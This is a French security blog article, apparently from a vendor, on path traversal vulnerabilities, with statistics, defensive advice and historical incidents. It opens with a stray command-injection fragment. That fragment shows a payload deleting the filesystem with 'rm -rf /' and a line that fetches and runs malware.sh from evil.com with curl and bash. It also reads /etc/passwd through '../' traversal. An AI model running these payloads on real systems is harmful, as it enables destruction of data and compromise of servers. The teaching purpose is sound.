Un attaquant exploite ce problème en injectant des commandes supplémentaires dans le fichier Nom de l'archive ou dossiers les entrées.

Données fournies par l'attaquant :

• Nom de l'archive: mon_archive ; rm -rf /
• dossiers: fichier1.txt

Le commandement qui en découle :

zip my_archive.zip file1.txt ; rm -rf /

1. zip my_archive.zip file1.txt: Crée une archive comme prévu.
2. ; rm -rf /: Supprime tous les fichiers du serveur en exécutant une commande destructive distincte.

Un exemple plus sophistiqué

L'attaquant peut exploiter cette situation pour télécharger des logiciels malveillants ou exfiltrer des données :

Nom de l'archive: archive ; curl -o malware.sh http://evil.com/malware.sh ; bash malware.sh

Commande résultante :

zip archive.zip file1.txt ; curl -o malware.sh http://evil.com/malware.sh ; bash malware.sh

Cette commande :

1. Crée une archive (zip archive.zip file1.txt).
2. Téléchargement de codes malveillants (curl -o malware.sh http://evil.com/malware.sh).
3. Exécute le logiciel malveillant (bash malware.sh).
   

La traversée de chemin, également connue sous le nom de traversée de répertoire, se produit lorsqu'un utilisateur malveillant manipule des données fournies par l'utilisateur pour obtenir un accès non autorisé à des fichiers et à des répertoires. En général, l'attaquant tente d'accéder à des journaux et à des informations d'identification qui se trouvent dans des répertoires différents. La traversée de chemin n'est pas une vulnérabilité nouvelle et a été activement exploitée depuis les années 90, lorsque les serveurs web ont gagné en popularité, beaucoup s'appuyant sur des scripts CGI (Common Gateway Interface) pour exécuter un contenu dynamique côté serveur.

Avec une si longue histoire, le path traversal est-il encore populaire aujourd'hui ? Nous avons mené une étude sur les projets open-source et fermés afin de recueillir des données pour voir si la traversée de chemin était courante en 2024 et si nous nous améliorons, Spoilers nous ne le faisonspas.

Exemple de traversée de chemin

Comment fonctionne exactement la traversée de chemin ? Prenons un exemple simple.

Dans cette application simple, un utilisateur reçoit un fichier à télécharger via une variable dans l'URL.

Un simple code Python en arrière-plan gère la demande.

import os

def download_file(file) :
base_directory = "/var/www/files"
file_path = os.path.join(base_directory, file)

if os.path.exists(file_path) :
with open(file_path, 'rb') as f :
return f.read()
else :
return "File not found"

Maintenant que la variable est fournie dans l'URL, nous pouvons la changer en quelque chose comme ceci file=../../../../etc/passwd

Dans ce cas, l'attaquant utilise l'option ../../ pour remonter la structure des répertoires jusqu'au niveau de la racine du système et accéder au fichier transmis, ce qui pourrait lui permettre d'accéder à des informations sensibles.

Si vous voulez voir comment cette méthode peut être sécurisée, faites défiler vers le bas jusqu'au contenu bonus.

Dans les scénarios plus complexes impliquant plusieurs couches de répertoires ou de caractères codés (par exemple, le %2e%2e%2f), les attaquants peuvent contourner les filtres de base et obtenir un accès plus profond au système de fichiers.

Traversée du chemin par les chiffres

• 2,7 % de toutes les vulnérabilités trouvées dans des projets open-source en 2024 jusqu'à présent étaient des traversées de chemin.
• 3,5 % pour les projets à code source fermé !
• Une augmentation du nombre total de vulnérabilités de traversée de chemin dans les projets open-source de 742 (2023) à 1 000 attendues (2024).
• En pourcentage de toutes les vulnérabilités, la traversée de chemin est de plus en plus courante, avec une augmentation massive de 85 % des projets à code source fermé.

Notre recherche s'est concentrée sur l'étude des projets à code source ouvert et à code source fermé afin de déterminer combien d'entre eux contenaient des vulnérabilités de traversée de chemin.

Dans l'ensemble, le nombre de vulnérabilités de traversée de chemin est inférieur à d'autres vulnérabilités que nous avons étudiées, telles que les injections de commande ou les injections SQL. Mais si l'on considère que cette vulnérabilité peut être très dangereuse et qu'il existe des solutions bien documentées pour l'éviter, il est alarmant de voir les chiffres aussi élevés. Il est encore plus alarmant de voir que les tendances pour cette vulnérabilité vont dans la mauvaise direction. f

Projets Open Source

Dans les projets open-source, la traversée de chemin représentait 2,6 % de toutes les vulnérabilités signalées en 2023. Ce chiffre a légèrement augmenté en 2024, passant à 2,75 %. Bien que cette augmentation puisse sembler marginale à première vue, elle souligne les défis permanents que pose la sécurisation des logiciels open-source contre les vulnérabilités les plus simples.

Projets à source fermée

La tendance la plus notable a été observée dans les projets à code source fermé, où les incidents de traversée de chemin sont passés de 1,9 % en 2023 à 3,5 % en 2024, soit une augmentation substantielle de 85 % qui met en évidence une tendance alarmante de ce type de vulnérabilité.

Les mauvaises nouvelles ne s'arrêtent malheureusement pas là. Nous constatons toujours une augmentation du nombre global de vulnérabilités signalées dans les projets open-source. Le nombre total de vulnérabilités par injection signalées dans les projets open-source est passé de 742 en 2023 à 917 jusqu'à présent en 2024 (on s'attend à ce qu'il atteigne 1 000).

Empêcher le franchissement des chemins d'accès

La prévention des vulnérabilités liées à l'injection de commandes nécessite une approche à multiples facettes :

Validation des entrées

• Assainissement des entrées utilisateur: Supprimer ou coder les caractères dangereux tels que ../, ..\, ..%2fou d'autres variations.
• Approche par liste d'autorisation: Définir un ensemble strict d'entrées autorisées (par exemple, des noms de fichiers ou des chemins d'accès) et rejeter tout ce qui ne figure pas sur cette liste.

Restreindre l'accès aux fichiers

• Utiliser une prison chroot ou un bac à sable: Limiter l'accès aux fichiers de l'application à un répertoire restreint, en veillant à ce qu'elle ne puisse pas aller au-delà de l'arborescence prévue.
• Définir les répertoires racines: Définir des répertoires de base et s'assurer que tous les chemins d'accès sont relatifs à ces répertoires. Utilisez des API ou des frameworks qui appliquent cette règle, tels que :java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() en Java.
  os.path.realpath() et os.path.commonpath() en Python.

Accès sécurisé aux fichiers

• Utiliser des méthodes d'accès aux fichiers sécurisées fournies par des bibliothèques ou des frameworks modernes:En Java, utiliser Files.newInputStream() ou Files.newBufferedReader() pour une manipulation sûre des fichiers.
  En PythonPour cela, assurez-vous de valider les chemins d'accès aux fichiers avant d'y accéder.

Restrictions de l'environnement d'utilisation

• Fixer des restrictions autorisations du système de fichiers:S'assurer que l'application ne dispose que des privilèges minimums requis.
  Interdire l'accès aux répertoires sensibles (par exemple, /etc, /var, /usret les répertoires personnels des utilisateurs).
• Désactiver les fonctions inutiles des serveurs web ou des frameworks (par exemple, le suivi des liens symboliques).

Tests automatisés

• Utilisez des outils comme Aikido pour analyser votre code source et votre application afin de découvrir ces vulnérabilités.
• Les outils SAST et DAST doivent être utilisés conjointement avec l'analyse du domaine et la sécurité de l'informatique en nuage pour s'assurer qu'il n'existe pas de vulnérabilités de traversée de chemin cachées.

Utiliser un pare-feu intégré à l'application

• L'une des meilleures défenses contre les attaques par injection est un pare-feu intégré à l'application , capable d'intercepter et de bloquer les commandes malveillantes.

La voie à suivre

La traversée de chemin est une vulnérabilité présente depuis le début des applications web et, bien qu'elle soit souvent assez simple, elle peut aussi être très dévastatrice. C'est pourquoi il est très préoccupant de constater qu'un pourcentage aussi élevé de projets est encore confronté à ce type de problèmes. Bien que 3,5 % ne semble pas être un chiffre élevé, il est tout à fait remarquable qu'il gagne en popularité en dépit de sa menace continue et bien documentée.

La traversée de chemin n'est pas une vulnérabilité qui va disparaître, mais la bonne nouvelle est qu'il existe des moyens clairs de trouver ces vulnérabilités dans notre application et de remédier à tous les problèmes que nous trouvons.

Contenu bonus

Incidents réels

Ces dernières années, plusieurs brèches ou vulnérabilités très médiatisées ont impliqué la traversée d'un chemin, soit comme point d'entrée principal, soit comme élément d'une chaîne de vulnérabilités

Exploit Microsoft IIS Unicode (2001)

L'un des premiers exploits de traversée de chemin très médiatisés ciblant les serveurs Microsoft IIS. Les attaquants utilisaient des chemins encodés pour contourner les mécanismes de validation (par exemple, en utilisant des %c0%af représenter /). Cela leur a permis d'accéder à des fichiers situés en dehors du répertoire racine du site web et de les exécuter.

Cela a permis de déployer des logiciels malveillants et de défigurer de nombreux sites web.

Traversée de chemin VPN Fortinet (2019)

Le VPN SSL de Fortinet présente une vulnérabilité de traversée de répertoire (CVE-2018-13379). Les attaquants ont exploité cette faille pour accéder à des fichiers système sensibles, tels que les mots de passe en clair des utilisateurs du VPN.

Des milliers d'identifiants VPN ont été divulgués en ligne, exposant les organisations à des accès non autorisés et à d'autres attaques.

Violation de Capital One (2019)

Ce qui s'est passé: Bien que la cause principale soit une vulnérabilité SSRF, l'attaquant a également exploité la traversée de répertoire en accédant aux métadonnées des seaux AWS S3. L'attaquant a exploité des configurations erronées pour récupérer des fichiers de configuration qui auraient dû être inaccessibles.

Les données personnelles de 106 millions de demandeurs de cartes de crédit ont ainsi été exposées.

Traversée de chemin dans le tableau de bord de Kubernetes (2020)

Le tableau de bord Kubernetes présentait une faille de traversée de répertoire (CVE-2020-8563). Les attaquants l'exploitent pour lire des fichiers sensibles dans le conteneur, y compris les secrets stockés dans le répertoire /etc.